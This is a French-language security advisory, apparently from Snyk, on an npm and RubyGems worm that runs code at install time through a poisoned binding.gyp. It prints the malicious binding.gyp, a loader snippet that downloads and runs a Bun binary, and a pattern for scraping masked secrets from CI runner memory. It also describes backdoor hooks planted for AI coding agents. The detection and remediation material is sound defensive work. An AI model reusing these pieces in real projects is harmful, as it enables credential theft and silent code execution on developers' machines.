Skip to main content

Compromission de la chaîne d’approvisionnement Node-gyp : un ver npm à propagation autonome dissimulé dans binding.gyp

Écrit par
feature insights announcement

4 juin 2026

0 minutes de lecture

Une attaque de la chaîne d’approvisionnement se propage activement dans le registre npm en détournant un fichier que la plupart des outils de sécurité ne surveillent jamais : binding.gyp. Au lieu de s’appuyer sur les scripts de cycle de vie bien surveillés preinstall ou postinstall, le logiciel malveillant embarque un fichier binding.gyp piégé qui déclenche node-gyp afin d’exécuter automatiquement du code contrôlé par l’attaquant pendant npm install. Snyk suit l’incident sous le nom Node-gyp Supply Chain Compromise - June 2026 : 57 packages concernés et des centaines de versions malveillantes, toutes classées comme code malveillant intégré de gravité critique.

La charge utile dérobe les identifiants des développeurs et des environnements CI/CD sur npm, GitHub, AWS, GCP, Azure, HashiCorp Vault et Kubernetes. Elle les exfiltre via des dépôts GitHub contrôlés par l’attaquant, injecte des workflows GitHub Actions pour assurer sa persistance et se propage d’elle-même en republiant des packages depuis tous les comptes de mainteneurs auxquels elle peut accéder. StepSecurity, qui a signalé la campagne en premier, a baptisé cette technique d’exécution à l’installation « Phantom Gyp » et suit la campagne plus vaste sous le nom « Miasma », une descendante de la famille de vers Shai-Hulud.

En bref

Type d’attaque

Ver de la chaîne d’approvisionnement via des comptes de mainteneurs compromis

Technique inédite

Exécution de code à l’installation via binding.gyp / node-gyp, et non via preinstall/postinstall

Suivi par Snyk

Gravité

Critique (code malveillant intégré)

Date de l’incident

3 juin 2026 (vague principale) ; variante antérieure de Miasma le 1er juin 2026

Packages compromis

57 packages, des centaines de versions malveillantes

Victimes les plus téléchargées

@vapi-ai/server-sdk, ai-sdk-ollama

Comportement du logiciel malveillant

Vol d’identifiants, injection de GitHub Actions, persistance et propagation du ver sur npm et RubyGems

Mesures immédiates

Verrouillez les versions connues comme saines, exécutez npm install --ignore-scripts et faites tourner tous les identifiants accessibles

Packages concernés

Snyk répertorie 57 packages concernés. Nous avons confirmé que les versions malveillantes répertoriées sont toujours accessibles dans le registre public (par exemple, les quatre versions de @vapi-ai/server-sdk renvoient des archives toujours disponibles depuis registry.npmjs.org), avec des dates de publication au 3 et au 4 juin 2026. Voici les victimes les plus téléchargées, avec le nombre de téléchargements hebdomadaires d’après l’API du registre npm :

Package

Téléchargements hebdomadaires

Versions malveillantes

~86 500 (api.npmjs.org)

0.11.1, 0.11.2, 1.2.1, 1.2.2

~36 900 (api.npmjs.org)

0.13.1, 1.1.1, 2.2.1, 3.8.5

~5 900 (api.npmjs.org)

2.26.4, 3.4.3

1.33.3

La plupart des 57 packages sont associés à un seul compte npm. Une requête auprès du registre montre que les 25 packages autotel et autotel-* ont tous le même mainteneur, jagreehal, le compte qui publie également les packages de l’espace de noms @jagreehal/* et awaitly. Cette concentration sur un seul compte correspond précisément à ce que l’on attend d’un ver qui répertorie et republie tout ce qu’un compte compromis peut atteindre :

  • Famille autotel-* (24 packages, plus autotel) : notamment autotel-mcp (avec des versions allant de 0.1.14 à 29.0.1), autotel-subscribers, autotel-terminal, autotel-mongoose, autotel-eventcatalog, autotel-devtools, autotel-aws, autotel-cloudflare, autotel-hono, autotel-playwright, autotel-sentry, et bien d’autres

  • Famille eslint-plugin-executable-stories-* (Snyk a déjà traité des malwares de la chaîne d’approvisionnement npm visant les plugins ESLint)

  • Packages @jagreehal/*

  • @evolvconsulting/evolv-coder-lite

De nombreux numéros de version anormalement élevés (par exemple, autotel-mcp qui passe à la série 29.x, ou autotel qui reçoit à la fois une version 2.26.4 et une version 3.4.3 publiées à une minute d’intervalle le 4 juin) sont eux-mêmes une conséquence de la republication automatisée du ver, et non des versions légitimes. La liste complète et régulièrement mise à jour des packages et versions concernés figure sur la page de l’incident Snyk.

Un point important pour la remédiation : pour au moins certains packages, la balise de distribution latest a depuis été redirigée vers une version saine (pour autotel, latest pointe désormais vers 3.4.2, publiée avant les versions malveillantes), mais les versions malveillantes n’ont pas été retirées. À l’heure où nous écrivons ces lignes, autotel@3.4.3 et autotel@2.26.4 renvoient toujours des archives disponibles. Une nouvelle installation avec npm install autotel peut récupérer la version saine, tandis que tout fichier de verrouillage, toute version épinglée précisément ou toute dépendance transitive faisant référence à une version malveillante téléchargera toujours le logiciel malveillant. Ne considérez pas une balise latest saine comme une preuve que vous êtes à l’abri.

Fonctionnement de l’attaque

La nouveauté : l’exécution à l’installation via binding.gyp

Lorsque vous exécutez npm install sur un package contenant un fichier binding.gyp et dépourvu de binaire précompilé correspondant, npm transmet le package à node-gyp et exécute node-gyp rebuild pour compiler ce qu’il suppose être une extension native C/C++. Ce comportement est normal et attendu pour tout package comportant des composants natifs, et il se produit même en l’absence de toute entrée preinstall ou postinstall dans package.json.

La syntaxe de configuration de compilation de GYP prend en charge l’expansion de commandes. La forme <!(...) exécute une commande shell pendant la phase de configuration et insère sa sortie dans la définition de compilation. Les packages compromis exploitent directement cette fonctionnalité. Voici le fichier binding.gyp exact de 157 octets inclus dans @vapi-ai/server-sdk@1.2.2 et autotel@3.4.3 (identique octet pour octet dans les packages que nous avons examinés) :

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

L’expression <!(node index.js ...) exécute node index.js alors que node-gyp ne fait que configurer la compilation, bien avant le lancement d’un compilateur. La cible "type": "none" signifie qu’aucune compilation n’a lieu : l’effet secondaire de l’expansion de commande (l’exécution de index.js) constitue donc tout l’objectif. La sortie est redirigée vers /dev/null pour que l’installation semble se dérouler normalement, et echo stub.c renvoie un nom de fichier source plausible afin que gyp poursuive sans erreur manifeste. Résultat : l’exécution de code arbitraire lors d’une opération courante npm install.

Point crucial : le fichier package.json de ces archives ne contient aucun script preinstall, postinstall, install ou prepare. Les seules entrées scripts correspondent à des tâches de développement ordinaires (build, lint, test, format), et le package ne déclare même pas "gypfile": true. Rien dans package.json ne permet aux outils qui se concentrent sur les scripts de détecter le problème ; la présence d’un fichier binding.gyp suffit à déclencher automatiquement node-gyp via npm.

La charge utile : un chargeur à plusieurs étapes basé sur Bun

Le fichier index.js déclenché par binding.gyp est un chargeur obfusqué de 4,5 Mo. Nous avons décodé statiquement les couches externes à partir de l’archive publiée (sans exécution) et confirmé la chaîne suivante :

  1. Chiffrement de César ROT-14. Le fichier entier consiste en un unique eval appliqué à un tableau d’environ 1,3 million de codes de caractères, converti en chaîne puis décalé de 14 positions. L’enveloppe visible est littéralement eval(function(s,n){return s.replace(/[a-zA-Z]/g,...rotate...)}([...],14)).

  2. Couche auto-déchiffrante AES-128-GCM. L’étape décodée est une IIFE async qui importe node:crypto et définit un déchiffreur aes-128-gcm (createDecipheriv avec une balise d’authentification de 16 octets), puis déchiffre deux blocs de texte chiffré intégrés dont la clé hexadécimale, le vecteur d’initialisation et la balise d’authentification sont codés en dur.

  3. Chargeur d’environnement d’exécution Bun (bloc de 907 octets). Le premier bloc déchiffré détecte le système d’exploitation et l’architecture, puis télécharge un binaire autonome de Bun v1.3.13 depuis les versions officielles de GitHub oven-sh/bun dans un répertoire temporaire et l’exécute :

 const url="https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-"+os+"-"+a+".zip"
 execSync('curl -sSL "'+url+'" -o "'+zip+'"',{stdio:"pipe"})
 execSync('unzip -j -o "'+zip+'" -d "'+dir+'"',{stdio:"pipe"})
chmodSync(exe,"755")
  1. Charge utile principale (bloc d’environ 649 Ko). Le deuxième bloc déchiffré (664 535 octets) contient la logique de vol elle-même, exécutée dans le binaire Bun téléchargé plutôt que dans le processus Node.js qui a lancé l’installation.

L’exécution de la logique principale dans un binaire Bun téléchargé, plutôt que dans le processus node à l’origine de l’installation, est une manœuvre d’évasion délibérée : la surveillance des processus enfants Node.js pendant npm install ne détectera pas le processus Bun qui effectue réellement le travail. Cela explique aussi pourquoi l’analyse des chaînes en clair de index.js ne révèle aucun identifiant ni indicateur C2 : ces éléments se trouvent dans le bloc exécuté par Bun. Nous n’avons pas exécuté cette dernière étape Bun ; l’inventaire des comportements ci-dessous s’appuie donc sur les analyses publiées.

Collecte d’identifiants

Une fois exécutée, la charge utile passe au crible les environnements de développement et de CI/CD à la recherche de secrets, notamment :

  • AWS : aws_access_key_id / aws_secret_access_key, ainsi que le point de terminaison des métadonnées IMDSv2 (169.254.169.254)

  • GCP : GOOGLE_APPLICATION_CREDENTIALS et clés de comptes de service

  • Azure : jetons d’identité managée via IMDS

  • GitHub Actions : ACTIONS_ID_TOKEN_REQUEST_TOKEN et extraction de données de la mémoire des processus du runner

  • HashiCorp Vault et Kubernetes : jetons de comptes de service dans les chemins standard

  • Gestionnaires de mots de passe : 1Password, pass et les coffres gopass

Dans GitHub Actions, la charge utile analyse la mémoire des processus du runner pour récupérer les secrets masqués sous leur forme non masquée, à l’aide d’un motif similaire à :

tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}'

Le masquage des secrets de GitHub Actions les caviarde dans les journaux ; il ne les protège pas d’un processus capable de lire directement la mémoire du runner. Tout secret accessible au runner doit être considéré comme compromis.

Exfiltration via des dépôts GitHub

Au lieu d’utiliser un domaine C2 fixe, le logiciel malveillant se sert de GitHub comme point de rendez-vous et comme boîte morte. L’activité a été associée au compte GitHub liuende501, qui héberge au moment de la rédaction 321 dépôts publics (api.github.com/users/liuende501), ce qui correspond à la méthode du ver, qui crée automatiquement des dépôts pour y déposer les données volées. Déroulement :

  1. Repérer le point de rendez-vous en recherchant un mot-clé codé en dur dans les commits publics

  2. Créer à la volée un dépôt au nom généré aléatoirement

  3. Téléverser les données collectées et chiffrées sous la forme results/results-{timestamp}.json

  4. Envoyer des requêtes API avec un User-Agent python-requests/2.31.0

L’utilisation de GitHub pour l’exfiltration mêle le trafic aux activités habituelles des développeurs et de la CI, car les connexions sortantes vers github.com et api.github.com sont rarement bloquées dans les environnements de compilation.

Propagation du ver entre les écosystèmes

La charge utile se propage d’elle-même et utilise des mécanismes distincts pour chaque écosystème :

  • Ver npm : répertorie les packages d’un mainteneur via registry.npmjs.org/-/v1/search?text=maintainer:{username}, télécharge chaque cible, y injecte le fichier malveillant binding.gyp et index.js, puis la republie. Comme lors des vagues précédentes de cette famille (voir l’article de Snyk sur TanStack, le premier package npm malveillant documenté à porter une provenance SLSA valide), le ver falsifie également des attestations de provenance Sigstore via Fulcio et Rekor, afin que les packages réinfectés puissent sembler signés légitimement.

  • Ver RubyGems : injecte une logique équivalente dans extconf.rb, le hook de compilation des extensions natives de RubyGems, en réutilisant le même téléchargeur Bun. Dans RubyGems, extconf.rb joue le même rôle que binding.gyp dans npm : c’est un fichier exécuté automatiquement lors de la compilation, qui n’est pas un « script » au sens des scripts de cycle de vie.

  • Empoisonnement de dépôts GitHub : ajoute des fichiers de porte dérobée aux dépôts sur lesquels les jetons volés permettent d’écrire, notamment des hooks pour les agents de codage IA et les éditeurs (.claude/, .cursor/rules/, .vscode/tasks.json) qui réexécutent la charge utile lorsqu’un développeur ouvre le projet.

La portée interécosystèmes (npm et RubyGems) et la réutilisation, dans les deux cas, de fichiers d’extension exécutés lors de la compilation constituent le fil conducteur de cette campagne : trouver le fichier qui s’exécute automatiquement à l’installation ou à la compilation, mais que personne ne considère comme un « script ».

Analyse de l’impact

Le périmètre d’impact direct comprend tout poste de développeur ou agent d’exécution CI ayant lancé npm install et résolu l’une des versions de paquet concernées. Les environnements CI/CD sont les plus exposés, car l’extraction depuis la mémoire de l’agent signifie que tous les secrets auxquels il peut accéder, et pas uniquement ceux transmis comme variables d’environnement explicites, doivent être considérés comme compromis.

Les postes de développeur présentent un risque secondaire qui perdure plus longtemps via les hooks des éditeurs et des agents IA. Ceux-ci survivent à un simple npm uninstall et réexécutent la charge utile à la session suivante.

La probabilité d’une propagation supplémentaire semble plus faible qu’au plus fort de la campagne : les paquets concernés remontent à un petit nombre de comptes de responsables de maintenance (nous avons confirmé que les 25 paquets autotel et autotel-* partagent le compte unique jagreehal), et aucune nouvelle version compromise n’a été observée récemment. Cela dit, les versions malveillantes restent installables depuis npm : le risque d’exposition persiste donc pour quiconque les récupère, directement ou indirectement, avant leur suppression complète.

Détection

Effectuez une analyse avec Snyk. Snyk a publié des avis sur les versions concernées dans la Snyk Vulnerability Database et créé une page d’incident à l’adresse security.snyk.io/node-gyp-supply-chain-compromise-june-2026. Lancez une analyse de votre projet :

snyk test

Pour analyser un manifeste ou un fichier de verrouillage spécifique :

snyk test --file=package-lock.json

Recherchez la technique, pas seulement les noms de paquets. Comme le chemin d’exécution passe par binding.gyp, vous pouvez le rechercher indépendamment de la liste des paquets :

# Packages shipping a binding.gyp that contain a node-gyp command-expansion payload
grep -rl '<!(' node_modules/*/binding.gyp node_modules/**/binding.gyp 2>/dev/null

# Suspiciously large root-level index.js files (legit entry points are rarely multi-MB)
find node_modules -maxdepth 2 -name index.js -size +1M 2>/dev/null

# Editor / AI-agent persistence hooks injected into your repo
ls -la .claude/ .cursor/rules/ .vscode/tasks.json 2>/dev/null

Indicateurs réseau et comportementaux :

  • node-gyp rebuild s’exécute pour des paquets qui ne contiennent aucun module natif légitime

  • Des processus enfants inattendus (curl, unzip, bun) sont lancés pendant npm install

  • Un binaire bun autonome est téléchargé depuis les versions de oven-sh/bun en cours d’installation alors que vous n’avez jamais demandé Bun

  • Des appels à l’API GitHub avec un User-Agent python-requests/2.31.0, provenant d’une étape CI qui n’est pas un processus Python

Mesures correctives

Si vous ne savez pas si vous avez été touché, considérez qu’il s’agit d’une compromission avérée. Les données collectées sont chiffrées avant leur exfiltration. Il est donc impossible de déterminer après coup ce qui a été dérobé.

Étape 1 : Supprimez les mécanismes de persistance avant de renouveler les jetons. Si des hooks d’éditeur ou d’agent IA ont été installés, supprimez-les d’abord pour éviter qu’ils ne réagissent au changement des identifiants :

# Inspect and remove injected hooks
cat .claude/settings.json 2>/dev/null
cat .vscode/tasks.json 2>/dev/null   # remove any "runOn": "folderOpen" entries
rm -rf .cursor/rules/setup.mdc 2>/dev/null

Étape 2 : Nettoyez et réinstallez avec des versions fiables.

rm -rf node_modules
# Pin affected packages to known-good versions in package.json, then:
npm install --ignore-scripts

--ignore-scripts bloque le hook d’installation implicite de npm qui lance node-gyp rebuild pour les paquets contenant un fichier binding.gyp. Toutefois, ne le considérez pas comme votre seule protection : le paquet malveillant peut tout de même être récupéré et décompressé, d’autres outils ou une commande ultérieure npm rebuild sans --ignore-scripts peuvent le compiler, et les autres gestionnaires de paquets ou workflows peuvent se comporter différemment. La mesure la plus sûre reste d’épingler ou de supprimer les versions malveillantes et d’effectuer une analyse avant toute étape de compilation.

Étape 3 : Renouvelez tous les identifiants accessibles depuis une machine ou un agent d’exécution touché :

  • Jetons de publication npm

  • Jetons d’accès personnels GitHub et secrets Actions (associés à un dépôt ou à une organisation)

  • Clés d’accès AWS et rôles IAM accessibles depuis les agents d’exécution concernés

  • Clés de comptes de service GCP

  • Principaux de service Azure et périmètres des identités managées

  • Jetons HashiCorp Vault

  • Jetons de comptes de service Kubernetes

  • Tout élément stocké dans un gestionnaire de mots de passe ciblé (1Password, pass, gopass)

Étape 4 : Vérifiez la présence de workflows injectés et de dépôts de dépôt clandestin sur GitHub.

# Look for unexpected workflow files or branches added recently
git log --oneline --all -- .github/workflows/

# Repositories created on your account without your action
gh repo list --json name,createdAt --limit 200

Étape 5 : Renforcez vos défenses contre la prochaine vague.

  • Par défaut, utilisez npm install --ignore-scripts dans la CI (bonne pratique pour se protéger contre l’ensemble des attaques à l’installation) et associez cette mesure à une étape d’analyse

  • Épinglez les dépendances à des versions précises, avec les hachages d’intégrité du fichier de verrouillage

  • Envisagez une politique de délai de mise en registre, qui retient les paquets publiés au cours des derniers jours avant de les autoriser dans les compilations

  • Appliquez le principe du moindre privilège aux périmètres des jetons CI/CD afin qu’un jeton dérobé ait un impact limité

  • Utilisez Snyk pour surveiller en continu votre arbre de dépendances et détecter les paquets malveillants dès qu’ils sont signalés

Le guide de Snyk sur la prévention des attaques de la chaîne d’approvisionnement npm présente une liste de vérification plus complète.

Vue d’ensemble : un descendant de Shai-Hulud

Il s’agit de la dernière vague de la lignée Shai-Hulud / Miasma, une famille de vers npm à propagation autonome qui a frappé le registre à plusieurs reprises depuis la fin de 2025. Snyk a couvert une précédente vague de Miasma en juin 2026, qui a touché des paquets npm de Red Hat ; les dépôts d’exfiltration utilisés lors de ces différentes vagues comportent des descriptions faisant directement référence aux précédentes campagnes Shai-Hulud. Chaque vague a réutilisé un voleur obfusqué fonctionnant avec Bun, en lui ajoutant de nouveaux mécanismes de persistance, de nouvelles voies d’exfiltration et de nouvelles méthodes pour exécuter automatiquement du code à l’installation ou à la compilation. C’est l’évolution de cette technique d’exécution automatique qu’il faut retenir :

  • Les premières vagues s’appuyaient sur les scripts de cycle de vie preinstall / postinstall

  • Les vagues suivantes ont ajouté des hooks pour les agents de codage IA (SessionStart) et des tâches exécutées à l’ouverture de dossiers dans les IDE afin d’assurer la persistance

  • Cette vague déplace l’exécution initiale vers binding.gyp / node-gyp (et extconf.rb pour RubyGems), des fichiers exécutés lors de la compilation qui ne sont pas du tout des scripts de cycle de vie

Snyk a analysé en détail les vagues précédentes de cette famille de campagnes :

Pour en savoir plus sur la famille de vers à l’origine de cet incident :

Chercheur en sécurité chez Snyk expliquant le ver de la chaîne d’approvisionnement npm Mini Shai-Hulud et sa propagation Mini Shai-Hulud : l’attaque de la chaîne d’approvisionnement NPM la plus sophistiquée de 2026 (Présentation de la famille de vers Shai-Hulud / Miasma et de leur propagation autonome)

Pour découvrir concrètement comment repérer et corriger les paquets compromis issus de cette famille de campagnes avec Snyk :

Ingénieur en sécurité chez Snyk montrant comment détecter et corriger les paquets npm compromis par Shai-Hulud avec l’interface de ligne de commande Snyk Attaque NPM Shai-Hulud : correction avec Snyk - Guide pratique pour détecter et corriger les paquets compromis à l’aide des outils Snyk.

Pour comprendre comment la compromission d’un paquet légitime et fiable s’inscrit dans le modèle plus large des menaces pesant sur la chaîne d’approvisionnement, la leçon de Snyk Learn sur la compromission de paquets légitimes constitue une bonne introduction.

Chronologie (UTC)

Date

Événement

1er juin 2026

Une variante antérieure de Miasma compromet un groupe distinct de paquets npm (liés à Red Hat)

3 juin 2026

Vague principale : @vapi-ai/server-sdk et des dizaines de paquets des familles autotel, eslint-plugin-executable-stories et @jagreehal sont compromis en une rafale automatisée rapide

À partir du 3 juin 2026

Publication d’analyses techniques publiques sur la technique « Phantom Gyp » ; Snyk publie des avis et une page d’incident en temps réel

En cours

L’enquête se poursuit ; les versions malveillantes restent disponibles sur npm dans l’attente de leur suppression

Couverture de Snyk

Snyk a publié des avis sur les versions concernées dans la Snyk Vulnerability Database et tient à jour une page d’incident répertoriant les 57 paquets et leurs versions malveillantes. Les clients Snyk peuvent utiliser les analyses de Snyk tout au long du cycle de développement logiciel (SDLC) pour identifier les projets qui récupèrent les versions concernées, directement ou indirectement, et prioriser les mesures correctives en fonction de leur exposition.

Consultez Snyk Vulnerability Database

Des données fiables et des informations exploitables pour vous aider à développer des logiciels en toute sécurité.